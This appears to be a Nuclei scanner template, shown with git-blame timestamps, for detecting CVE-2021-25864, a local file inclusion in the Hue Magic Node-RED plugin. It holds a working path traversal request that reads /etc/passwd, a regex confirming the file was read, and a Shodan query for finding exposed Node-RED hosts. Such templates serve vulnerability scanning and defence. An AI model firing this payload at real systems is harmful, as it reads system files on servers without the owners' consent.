2022-01-31 09:06:37 +00:00
|
|
|
id: CVE-2021-25864
|
|
|
|
|
|
|
|
info:
|
2022-06-27 16:14:01 +00:00
|
|
|
name: Hue Magic 3.0.0 - Local File Inclusion
|
2022-01-31 09:06:37 +00:00
|
|
|
author: 0x_Akoko
|
|
|
|
severity: high
|
2022-06-27 18:31:03 +00:00
|
|
|
description: Hue Magic 3.0.0 is susceptible to local file inclusion via the res.sendFile API.
|
2022-01-31 09:06:37 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/Foddy/node-red-contrib-huemagic/issues/217
|
2022-06-27 16:14:01 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-25864
|
2022-01-31 09:06:37 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
|
|
|
cve-id: CVE-2021-25864
|
|
|
|
cwe-id: CWE-22
|
2022-04-22 10:38:41 +00:00
|
|
|
metadata:
|
|
|
|
shodan-query: title:"NODE-RED"
|
2022-01-31 09:06:37 +00:00
|
|
|
tags: cve,cve2021,huemagic,lfi
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/hue/assets/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2fpasswd"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2022-03-22 08:01:31 +00:00
|
|
|
- "root:.*:0:0:"
|
2022-01-31 09:06:37 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2022-06-27 16:14:01 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/06/27
|